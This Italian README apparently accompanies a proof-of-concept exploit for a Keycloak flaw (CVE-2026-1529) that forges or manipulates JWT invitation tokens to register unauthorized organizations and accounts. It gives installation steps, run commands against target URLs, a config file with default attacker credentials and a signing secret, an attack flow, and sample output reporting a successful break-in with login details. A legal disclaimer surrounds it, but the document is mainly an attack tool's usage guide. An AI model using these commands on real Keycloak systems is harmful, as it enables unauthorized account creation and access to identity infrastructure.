
Keycloak: Registrazione non autorizzata dell'organizzazione tramite una convalida impropria del token di invito
CVE-2026-1529: Keycloak - Registrazione non autorizzata di organizzazioni tramite una validazione impropria del token di invito
⚠️ AVVISO: Questo strumento è destinato esclusivamente a scopi educativi e di test di sicurezza autorizzati. L'accesso non autorizzato a sistemi informatici è illegale.
Questo strumento dimostra una vulnerabilità critica in Keycloak (CVE-2026-1529) che consente la registrazione non autorizzata di organizzazioni tramite una validazione impropria del token di invito JWT. L'exploit manipola i token di invito per ottenere accesso non autorizzato alle istanze Keycloak.
Dettagli della Vulnerabilità:
# Clona il repository
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# Crea l'ambiente virtuale
python3 -m venv venv
source venv/bin/activate # Su Windows: venv\Scripts\activate
# Installa le dipendenze
pip install -r requirements.txt
# Crea la struttura delle directory
mkdir -p keycloak-exploit/{utils,config,logs,output/reports}
cd keycloak-exploit
# Scarica i file dalle release o copiali manualmente
# Poi installa le dipendenze
pip install requests urllib3 PyJWT
keycloak-exploit/
├── keycloak-exploit.py # Script principale dell'exploit
├── requirements.txt # Dipendenze Python
├── README.md # Questo file
├── config/
│ └── default_config.json # File di configurazione
├── utils/
│ ├── __init__.py # Inizializzatore del pacchetto
│ ├── http_utils.py # Utility client HTTP
│ ├── jwt_utils.py # Manipolazione JWT
│ └── crypto_utils.py # Utility crittografiche
├── logs/ # Log generati automaticamente
└── output/
└── reports/ # Report dell'exploit
python3 keycloak-exploit.py https://target-keycloak.com
# Con token di invito personalizzato
python3 keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target.com
# Con ID organizzazione personalizzato
python3 keycloak-exploit.py -o custom_org_id https://target.com
# Con file di configurazione personalizzato
python3 keycloak-exploit.py -c /path/to/config.json https://target.com
# Abilita il logging di debug
python3 keycloak-exploit.py -d https://target.com
# Mostra l'aiuto
python3 keycloak-exploit.py -h
# Mostra la versione
python3 keycloak-exploit.py -v
Modifica config/default_config.json per personalizzare i parametri dell'exploit:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
L'exploit funziona nei seguenti passaggi:
Verifica della Vulnerabilità
Generazione/Manipolazione del Token
Registrazione Utente
Verifica del Login
Generazione del Report
output/reports/┌─────────────────┐
│ Verifica Target│
└────────┬────────┘
│
▼
┌─────────────────┐
│ Gen/Ottieni │
│ Token │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Manipolazione │
│ Token │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Registrazione │
│ Utente │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Test Login │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Gen. Report │
└─────────────────┘
============================================================
RISULTATI EXPLOIT CVE-2026-1529
============================================================
✓ Il target è vulnerabile a CVE-2026-1529
🎯 EXPLOIT RIUSCITO!
Nome utente: admin_user_2026
Password: KeycloakCVE2026!
Email: [email protected]
Link di Login: https://target.com/realms/master/account
📄 Report salvato in: output/reports/exploit_report_20260211_050507.txt
🔐 Utilizza le credenziali fornite per accedere all'istanza Keycloak!
⚠️ Questo dimostra l'accesso non autorizzato dovuto a CVE-2026-1529
============================================================
by f3ds cr3w est, 2002
============================================================
Un report dettagliato viene salvato in output/reports/ contenente:
I log vengono salvati nella directory logs/ con informazioni dettagliate sull'esecuzione.
Soluzione:
# Assicurati di essere nella directory corretta
cd keycloak-exploit
python3 keycloak-exploit.py https://target.com
Soluzione:
# Assicurati che la directory config esista
mkdir -p config
# Copia o crea default_config.json in config/
Soluzione: Questo è stato corretto nell'ultima versione. Aggiorna urllib3:
pip install --upgrade urllib3
Possibili motivi:
Soluzione:
# Abilita il logging di debug per vedere più dettagli
python3 keycloak-exploit.py -d https://target.com
Soluzione:
# Aumenta il timeout in config/default_config.json
"timeout": 60
Abilita il logging verboso per risolvere i problemi:
python3 keycloak-exploit.py -d https://target.com
Questo mostrerà:
⚠️ AVVISO LEGALE IMPORTANTE ⚠️
Questo strumento è fornito ESCLUSIVAMENTE per scopi EDUCATIVI e di TEST DI SICUREZZA AUTORIZZATI.
Utilizzando questo strumento, accetti che:
1. Utilizzerai questo strumento solo su sistemi di tua proprietà o per i quali hai
esplicita autorizzazione scritta per il test.
2. Comprendi che l'accesso non autorizzato a sistemi informatici è illegale
ai sensi di leggi tra cui, a titolo esemplificativo:
- Computer Fraud and Abuse Act (CFAA) - Stati Uniti
- Computer Misuse Act - Regno Unito
- Legislazione simile in altri paesi
3. Accetti la piena responsabilità per qualsiasi conseguenza derivante dall'uso di questo strumento.
4. Gli autori e i contributori non sono responsabili per qualsiasi uso improprio o danno
causato da questo strumento.
5. Questo strumento è fornito "COSÌ COM'È" senza garanzia di alcun tipo.
UTILIZZO A PROPRIO RISCHIO. L'ACCESSO NON AUTORIZZATO È UN REATO.
I contributi sono benvenuti! Segui queste linee guida:
git checkout -b feature/improvement)git commit -am 'Aggiungi nuova funzionalità')git push origin feature/improvement)# Clona il tuo fork
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit
# Crea l'ambiente virtuale
python3 -m venv venv
source venv/bin/activate
# Installa le dipendenze
pip install -r requirements.txt
# Apporta le tue modifiche e testa
python3 keycloak-exploit.py https://test-target.com
Creato da: f3ds cr3w est, 2002
Per domande, problemi o preoccupazioni sulla sicurezza:
Ricorda: Pratica sempre la divulgazione responsabile e l'hacking etico. Ref: https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation Realizzato con ❤️ da f3ds cr3w est, 2002
| Argomento | Breve | Descrizione |
|---|
target | - | URL Keycloak di destinazione (obbligatorio) |
--token | -t | Token di invito personalizzato |
--org-id | -o | ID organizzazione personalizzato |
--config | -c | Percorso del file di configurazione |
--debug | -d | Abilita il logging di debug |
--version | -v | Mostra le informazioni sulla versione |
--help | -h | Mostra il messaggio di aiuto |
| Sezione | Parametro | Descrizione | Predefinito |
|---|
exploit | default_username | Nome utente per la registrazione | admin_user_2026 |
exploit | default_password | Password per la registrazione | KeycloakCVE2026! |
exploit | default_email | Email per la registrazione | [email protected] |
exploit | timeout | Timeout richiesta HTTP (secondi) | 30 |
exploit | max_retries | Numero massimo di retry HTTP | 3 |
jwt | algorithm | Algoritmo di firma JWT | HS256 |
jwt | secret_key | Chiave segreta JWT | Personalizzata |
jwt | token_expiry | Scadenza del token (secondi) | 3600 |